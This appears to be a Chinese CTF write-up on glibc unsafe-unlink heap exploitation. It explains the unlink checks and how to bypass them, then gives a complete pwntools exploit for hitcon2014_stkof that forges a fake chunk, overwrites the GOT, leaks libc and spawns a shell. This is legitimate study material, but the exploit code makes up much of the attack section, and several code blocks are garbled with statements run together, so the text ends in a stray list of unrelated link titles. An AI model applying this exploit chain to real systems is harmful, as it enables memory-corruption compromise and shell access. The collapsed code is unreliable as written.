0x01 正常unlink

当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,就是这么简单。

  1. 根据p的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
  2. 设置FD->bk=BK
  3. 设置BK->fd=FD


下面看一下unlink的源码。

#安装源码
apt install glibc-source
#下面目录下有一个glibc-2.23.tar.xz
/usr/src/glibc/
#可以拷贝到understand中进行源码阅读

size检查
第一个要检查的是需要解链bin的size。在堆中有两个地方存储了p的size。第一个是当前p->size。第二个是next_chunk§->prev_size。比较两个大小。
fd和bk检查
检查p是否在双向链表中。在双向链表中有两个指针指向p。第一个是FD->bk,第二个是BK->fd。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \//第一个检查if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \FD = P->fd;                                     \BK = P->bk;                                    \//第二个检查if (__builtin_expect (FD->bk != P || BK->fd != P, 0))           \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \else {                                      \//完成上图的unlink过程//具体过程可以看源码}                                        \
}

0x02 利用思路

要利用unlink首先要绕过前面提到的两个检查。绕过size检查需要可以修改下一个chunk->prev_size。绕过fd和bk检查需要能够控制fd和bk。

1.第一种利用思路

利用条件

  1. 存在UAF可以修改p的fd和bk
  2. 存在一个指针指向p

利用方法

  1. 通过UAF漏洞修改chunk0->fd=G_ptr-0x18,chunk0->bk=G_ptr-0x10,绕过fd和bk检查
  2. free下一个chunk,chunk0和chunk1合并,chunk0发生unlink,修改了G_ptr的值

效果

修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。

2.第二种方法思路

这种情况在做题中出现的情况比较多。因为malloc是返回的指针如果存储在bss段或者heap中则正好满足利用条件2。

利用条件

  1. 可以修改p的下一个chunk->pre_size和inuse位
  2. 存在一个指针指向chunk p的内容部分

利用方法

  1. 伪造fake_chunk。fakechunk->size=chunk0-0x10,可以绕过size检查。fakechunk->fd=&G_ptr-0x18,fakechunk->bk=&G_ptr-0x10,绕过fd和bk检查。
  2. 修改下一个chunk的prev_size=chunksize§-0x10。因为fakechunk比chunk0小0x10。
  3. 修改下一个chunk的inuse位。
  4. free下一个堆块chunk1。fakechunk和chunk1合并,fakechunk发生unlink,修改了G_ptr的值。

效果
修改G_ptr=&G_ptr-0x18。如果能够对G_ptr指向的空间进行修改,则可能导致任意地址读写。

0x03 例题 hitcon2014_stkof

1.查看程序保护

可以修改GOT表,没有PIE,很好。

试运行,没有输出。

2.查看程序

菜单题只是没有把菜单打印出来。1是add。2是edit。3是free。4是todo没有实际用途

add函数
add就是正常的add

  1. 读入size
  2. malloc对应的size
  3. 0x602100记录的是已经申请的note数量
  4. 0x602140是heaparray指针数组


edit函数
没有验证输入的size大小,存在heap overflow

  1. 输入index
  2. 输入size
  3. 输入content


delete函数

  1. 将堆块释放
  2. 将数组置0

3.利用方法

这里正好满足第二种利用思路,bss段存在G_ptr指向堆的内容,且能修改下一个堆块的prev_size和inuse位。

  1. 构造fakechunk来unlink使bss段中的堆指针指向附近
  2. 利用edit函数,修改函数指针指向free_got
  3. 修改free_got为put_plt,之后再调用free时就会输出指针指向的内容来泄露libc地址
  4. 将free_got改为system地址
  5. 调用free函数释放掉内容为"/bin/sh"的堆块来getshell

这里还有一个问题就是缓冲区的问题。题目并没有setbuf,所以IO缓冲区会在程序运行的时候在堆中进行申请。我们先连续创建3个0x20大小的chunk来查看堆栈排布情况,方便后续unlink操作。如下图,第一个申请的堆块并没有和后面几个连续分布,所以第一个堆块不能用来做fakechunk。


创建堆块

idx1用来解决IO缓存的问题
idx2用来构造fakechunk和idx3来unlink
idx4用来防止和top chunk和并

head = 0x602140 #堆指针数组
fd = head + 16 - 0x18
bk = head + 16 - 0x10
add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4

构造完成的堆空间分布

0x602100存储了note数量
0x602140存储了指针数组,索引从1开始

构造fakechunk

如下图,黄框为构造的fakechunk

payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)


unlink

释放第3个堆块,触发unlink。0x602150中的指针已经指向bss段的空间当中。通过修改数组中的指针来达到任意地址写的目的


leak libc

将heaparray[1]指针覆盖为free_got,heaparray[2]指针覆盖为puts_got

free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)


将free_got的值覆盖为puts_plt。下次调用free时实际调用的是puts

payload3 = p64(puts_plt)
edit(1, payload3)
free(2)#实际调用的是puts(puts_got)
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))


getshell
修改free_got为system,并释放内容为’/bin/sh’的堆块来getshell。

payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()

4.exp

from pwn import *
context.arch = 'amd64'
debug = 1if debug:context.log_level='debug'context.terminal = ['terminator','-x','sh','-c']p = process('./stkof')elf = ELF('./stkof')libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:p = remote('node3.buuoj.cn',28755)elf = ELF('./stkof')libc = ELF('/home/abel/pwn/libc/u16/x64libc-2.23.so')def add(size):p.sendline('1')p.sendline(str(size))p.recvuntil('OK\n')def edit(idx, content):p.sendline('2')p.sendline(str(idx))p.sendline(str(len(content)))p.send(content)p.recvuntil('OK\n')def free(idx):p.sendline('3')p.sendline(str(idx))head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10add(0x50) # idx 1
add(0x30) # idx 2
add(0x80) # idx 3
add(0x20) # idx 4payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,b'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)free(3)free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = b'a'*8+b'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)payload3 = p64(puts_plt)
edit(1, payload3)
free(2)p.recvuntil('OK\n')puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))log.success('puts_addr:{}'.format(hex(puts_addr)))
log.success('system_addr :{}'.format(hex(system_addr)))
log.success('binsh_addr: {}'.format(hex(binsh_addr)))payload4 = p64(system_addr)
edit(1, payload4)edit(4, '/bin/sh\x00')
free(4)p.interactive()

0x04 总结

  1. 当free时(不是fastbin)如果前面或者后面的chunk是空闲的,则会发生合并
  2. 如果此时存在G_ptr指向前面的chunk,并且存在覆盖的话可能存在unsafe_unlink

1.创造fakechunk,这里针对64位

presize=0
size= 原来size-0x10
fd=&G_ptr-0x18
bk=&G_ptr-0x10

2.覆盖下一个chunk

presize = 原pre_size-0x10
size从0x91改为0x90

3.触发unlink

free(chunk1)
chunk1会和前面的chunk0进行合并,断链
fake_chunk->bk->fd = fake_chunk->fd->bk
&G_ptr = &G_ptr-0x18

参考链接:ctfwiki unlink

unlink快速入门相关推荐

  1. 1.3Python快速入门

    2019独角兽企业重金招聘Python工程师标准>>> Python过程型程序设计快速入门 核心数据类型: 基本数据类型:数字.字符串 数字 整形:整数.布尔数 浮点型 字符型 组合 ...

  2. Shiro第一个程序:官方快速入门程序Qucickstart详解教程

    目录 一.下载解压 二.第一个Shiro程序 1. 导入依赖 2. 配置shiro配置文件 3. Quickstart.java 4. 启动测试 三.shiro.ini分析 四.Quickstart. ...

  3. 计算机入门新人必学,异世修真人怎么玩?新手快速入门必备技巧

    异世修真人怎么快速入门?最近新出来的一款文字修仙游戏,很多萌新不知道怎么玩?进小编给大家带来了游戏新手快速入门技巧攻略,希望可以帮到大家. 新手快速入门攻略 1.开局出来往下找婆婆,交互给点钱,旁边有 ...

  4. Spring Boot 2 快速教程:WebFlux 快速入门(二)

    2019独角兽企业重金招聘Python工程师标准>>> 摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘 ...

  5. Apache Hive 快速入门 (CentOS 7.3 + Hadoop-2.8 + Hive-2.1.1)

    2019独角兽企业重金招聘Python工程师标准>>> 本文节选自<Netkiller Database 手札> 第 63 章 Apache Hive 目录 63.1. ...

  6. 《iOS9开发快速入门》——导读

    本节书摘来自异步社区<iOS9开发快速入门>一书中的目录,作者 刘丽霞 , 邱晓华,更多章节内容可以访问云栖社区"异步社区"公众号查看 目 录 前 言 第1章 iOS ...

  7. BIML 101 - ETL数据清洗 系列 - BIML 快速入门教程 - 序

    BIML 101 - BIML 快速入门教程 做大数据的项目,最花时间的就是数据清洗. 没有一个相对可靠的数据,数据分析就是无木之舟,无水之源. 如果你已经进了ETL这个坑,而且预算有限,并且有大量的 ...

  8. python scrapy菜鸟教程_scrapy学习笔记(一)快速入门

    安装Scrapy Scrapy是一个高级的Python爬虫框架,它不仅包含了爬虫的特性,还可以方便的将爬虫数据保存到csv.json等文件中. 首先我们安装Scrapy. pip install sc ...

  9. OpenStack快速入门

    OpenStack云计算快速入门(1) 该教程基于Ubuntu12.04版,它将帮助读者建立起一份OpenStack最小化安装.我是五岳之巅,翻译中多采用意译法,所以个别词与原版有出入,请大家谅解.我 ...

  10. Expression Blend实例中文教程(2) - 界面快速入门

    上一篇主要介绍Expression系列产品,另外概述了Blend的强大功能,本篇将用Blend 3创建一个新Silverlight项目,通过创建的过程,对Blend进行快速入门学习. 在开始使用Ble ...

最新文章

  1. windows 10 +fedora双系统引导修复
  2. 无线通信 -- 跳频技术
  3. 老鼠实验中老鼠的数量变化曲线
  4. Apache常见配置错误
  5. bootstrap --- 按钮
  6. 从零实现一个3D目标检测算法(2):点云数据预处理
  7. 最常见的水平拆分规则
  8. 第二场周赛(递归递推个人Rank赛)——题解
  9. 你的旧船票能否搭上这艘巨轮?——解读近5年大数据产业发展规划
  10. Python语言学习 (六)1.2
  11. 商品条形码(JBarcode)Java版(二)
  12. Lecture 5:无模型控制
  13. catalina 无法验证macos_拿什么拯救你,我的macOS Catalina——完整版补救措施来啦...
  14. 使用FFmpeg工具进行推流、拉流、截图、变速、转换,及常见问题处理
  15. hbase下载安装与配置
  16. 【软件工程】——详细设计说明书
  17. “打酱油”的意思:不关我的事,我只…
  18. 【HTTP】协议格式、请求
  19. DSS部署-2、环境准备
  20. 单例模式《单例模式概念、什么时候能用到单例模式、单例模式的好处》

热门文章

  1. 零基础学UI设计好学不?
  2. 基于2017年亚太建模比赛A题数据的多种分类模型评价
  3. AkShare-期货数据-连续合约数据,2010年的IFO怎么获取呢?
  4. postman支持https、安卓抓包
  5. 年审是当月还是当天_车辆年审时间当月到当月办理可以吗
  6. 第九话 树结构实际应用
  7. Python图像处理库PIL中图像格式转换(二)
  8. 王道考研计算机网络第三章--数据链路层
  9. 【MySQL - 3】数据库可视化工具SQLyog的安装使用及DML操作大全(CUD)
  10. 服务器总出现异常?几个小方法助你防范于未然